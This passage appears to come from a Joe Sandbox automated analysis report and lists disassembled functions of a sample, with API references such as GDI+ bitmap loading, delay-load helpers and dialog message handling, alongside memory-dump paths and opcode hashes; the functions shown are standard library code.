Part of subcall function 000CB3B8: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 000CB3D9

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 67c6c0b1a9f8045d953eebf11179e7c179da5fb7bf356439fdf6af47a3be8cb5
Instruction ID: fac12225f89e2f36a063e6f953606c2194d53789eb241c07d8636da0108b0f2f
Opcode Fuzzy Hash: 67c6c0b1a9f8045d953eebf11179e7c179da5fb7bf356439fdf6af47a3be8cb5
Instruction Fuzzy Hash: ABD0A7302002097ADF416B21CC03FBE75959B10340F0080397C02C5181EBB1C9105A51

Function 000CF737 Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 000CF75F

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 1c30638d2cdfc0bf076241f4a9cae45be52c86da9dd2da7cba8f7aa05e1ab0f2
Instruction ID: 6803e008640798ff8c80b91e8f007b1d0bdef1c8bddd8f8aebeaa7f4570add89
Opcode Fuzzy Hash: 1c30638d2cdfc0bf076241f4a9cae45be52c86da9dd2da7cba8f7aa05e1ab0f2
Instruction Fuzzy Hash: ADD0C93050820A99DA59ABA4AE86FBC22A3F308768B804629B151D51A9C7744590D613

Function 000CEEAD Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,000C2E78), ref: 000CEED2

Part of subcall function 000CC748: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 000CC759
Part of subcall function 000CC748: KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 000CC76A
Part of subcall function 000CC748: IsDialogMessageW.USER32(000103E6,?), ref: 000CC77E
Part of subcall function 000CC748: TranslateMessage.USER32(?), ref: 000CC78C
Part of subcall function 000CC748: DispatchMessageW.USER32(?), ref: 000CC796

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Message$CallbackDialogDispatchDispatcherItemPeekSendTranslateUser
String ID:
API String ID: 3453300979-0
Opcode ID: 2b9ae935fb37188d5ce9b7b89438403a6e5464d4b6a3f1ac23ff2df7d7ea018c
Instruction ID: 0b64a9a04221589ae701a9ae6719d1d13edd0f078bcf2a8ab432848229f3d4f1
Opcode Fuzzy Hash: 2b9ae935fb37188d5ce9b7b89438403a6e5464d4b6a3f1ac23ff2df7d7ea018c
Instruction Fuzzy Hash: 40D09E75145200AEEA012B51DE06F5E7AE2FFC9B08F004658B249740B2C6629E21AF02

Function 000BAB1C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(000000FF,000BAA1E), ref: 000BAB28

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 1ac0fc47d12e0f205a3e259e275b65e0344aeb7b25cc51d13d66312c245c789b
Instruction ID: c9d178e928ca73fbd87bf7e7016efa4a613eb45d9eca2ade597abc34a2dc6492
Opcode Fuzzy Hash: 1ac0fc47d12e0f205a3e259e275b65e0344aeb7b25cc51d13d66312c245c789b
Instruction Fuzzy Hash: 6AC01234100205854EB00A2498448D57BA3AB533657B493A5C074C90A2C3268C43E502

Function 000CF31B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3a2c0690458da1f8ffa74d2a7c857356e3d20908d6ca9da9fe499e1b5af4d207
Instruction ID: 36789acab6b06ebe503dc4eb85c2397f1714f6f99a4e119009045446ade61a9f
Opcode Fuzzy Hash: 3a2c0690458da1f8ffa74d2a7c857356e3d20908d6ca9da9fe499e1b5af4d207
Instruction Fuzzy Hash: 8FB01291268043BD371823113E06F7E021EC3C0B10370403FF001E4082E8400D402033

Function 000CF336 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 221f77944261d838b8204b7a86a4a91c9e7c15eb670422d209d06872ffb50b6c
Instruction ID: 568a48f71945c917cde203c45ec0e450be1b9d637b5f09a3a711c3fb3461b528
Opcode Fuzzy Hash: 221f77944261d838b8204b7a86a4a91c9e7c15eb670422d209d06872ffb50b6c
Instruction Fuzzy Hash: F1B012912A8443BC374863197F02F7E022EC3C0B10370423FF001D8082D8810E412033

Function 000CF34A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e6339c1f8d6931d99a6d74abfe45b84fd903ef7f36898f47b4f824b70b814d69
Instruction ID: c86e28e438bb8b87f264aea29b1fef46d00fd8afe2592fc09d7e567b9639de18
Opcode Fuzzy Hash: e6339c1f8d6931d99a6d74abfe45b84fd903ef7f36898f47b4f824b70b814d69
Instruction Fuzzy Hash: 33B01295268143BC374863157E02F7F021EC3C0B10330803FF401D4082D8800D402033

Function 000CF340 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2b785315b0232b36308c2f5b2eb36b028fbdb7c999bc75f51297bda89af7fd33
Instruction ID: 0cfa953cfc3175683157ee93a01a70df49b102cca0509a48bb11fb93152d2584
Opcode Fuzzy Hash: 2b785315b0232b36308c2f5b2eb36b028fbdb7c999bc75f51297bda89af7fd33
Instruction Fuzzy Hash: 34B01295278543BC374863197E02F7E022EC3C0B10370413FF001D4082D8400D402433

Function 000CF354 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 20a043d92d28285e3393a826fe8e8bcc9823c7d45ce07cb1ddb9cb748fe1d297
Instruction ID: b604d368a5a544719be011ae05179f92ded4d9e132f9c3984d64220df84d5a3c
Opcode Fuzzy Hash: 20a043d92d28285e3393a826fe8e8bcc9823c7d45ce07cb1ddb9cb748fe1d297
Instruction Fuzzy Hash: 5DB012D5268243BC3B8863153E02F7F025EC3C0B10330413FF401D4082D8800D806033

Function 000CF368 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6a3d652ab91532d1ac1370e3df7082281116aab302bdf9498f3ef31bbad7f76a
Instruction ID: 6769c7ff7aa6c7129440d8df759edd04447f1480d4bbed02ec61df7504df0bc1
Opcode Fuzzy Hash: 6a3d652ab91532d1ac1370e3df7082281116aab302bdf9498f3ef31bbad7f76a
Instruction Fuzzy Hash: B9B01295268143BC374863153E02F7F022EC3C0B10370403FF001D4082D8800D402133

Function 000CF37C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4b7f2e711727e331190c285d7e699394d944a6a52ea6eea65377b66b23aa2829
Instruction ID: 1f5ee24cdb47fc52f4ab720c6b245c07ee885ff6517dc2d684fcfb1668fcd51e
Opcode Fuzzy Hash: 4b7f2e711727e331190c285d7e699394d944a6a52ea6eea65377b66b23aa2829
Instruction Fuzzy Hash: 3FB01291278183BC378863153E02F7E021EC3C0B10330813FF401D4182D8500D842033

Function 000CF372 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0ce0d7961568d2f61cffd7d51bf5bf2a3dbd41c18b9a0763603fefca257d5d26
Instruction ID: bc65e34b943573121d580ade046f92e309cbf8e96a015878fd758ff43950c737
Opcode Fuzzy Hash: 0ce0d7961568d2f61cffd7d51bf5bf2a3dbd41c18b9a0763603fefca257d5d26
Instruction Fuzzy Hash: C5B01291278043BC374863157E02F7E021EC3C1B14330C13FF401D4182D8500D442033

Function 000CF386 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 67edc68b69f08fd505527bc403df3688dfc5e69b90da50fed306429cb1b252de
Instruction ID: d3d4886c8ae427ecd8bbe2fede4a00a7f88977f0fe87f09d1e01c6dce6f93e4a
Opcode Fuzzy Hash: 67edc68b69f08fd505527bc403df3688dfc5e69b90da50fed306429cb1b252de
Instruction Fuzzy Hash: 78B012913B8043BC374863153F02F7E021EC3C0B10330803FF001D8182D8A10E492033

Function 000CF39A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2fdb676770c14ddd9388dde1955cc0e705bf00911ae5f5f7e954a02bd96d0561
Instruction ID: 9410278cd7e13b9b0a8cff5512b5ab09e18781dee5d0afa0cb13aa1b0cfaf70b
Opcode Fuzzy Hash: 2fdb676770c14ddd9388dde1955cc0e705bf00911ae5f5f7e954a02bd96d0561
Instruction Fuzzy Hash: 4FB012A1268043BC374863157E02F7E025EC3C0B10330803FF401D4082D9400E402033

Function 000CF390 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 675183bcb00a46e268f9c4e5034b6b16366a0065ebcd36c7a0dea096a13a0124
Instruction ID: 41201e311449218be04fb62c9d980134f2fcefd2101353b775f42e4d5710b649
Opcode Fuzzy Hash: 675183bcb00a46e268f9c4e5034b6b16366a0065ebcd36c7a0dea096a13a0124
Instruction Fuzzy Hash: 23B01291278043BC374863553E02F7E031EC3C0B10370843FF001D4182D8500D442033

Function 000CF3AE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3107f7e1004f7bb49e6b7ba68262ab6bff6af3e68d719e4f52e26326b1a3311c
Instruction ID: fed7fca736aade25c89b915a0f3f48c35d3702de7224a1fcbc1643a016c598bd
Opcode Fuzzy Hash: 3107f7e1004f7bb49e6b7ba68262ab6bff6af3e68d719e4f52e26326b1a3311c
Instruction Fuzzy Hash: 87B012A12A8043BC374863153F02F7E021EC3C0B10330403FF001D8082D9810F412033

Function 000CF3B8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

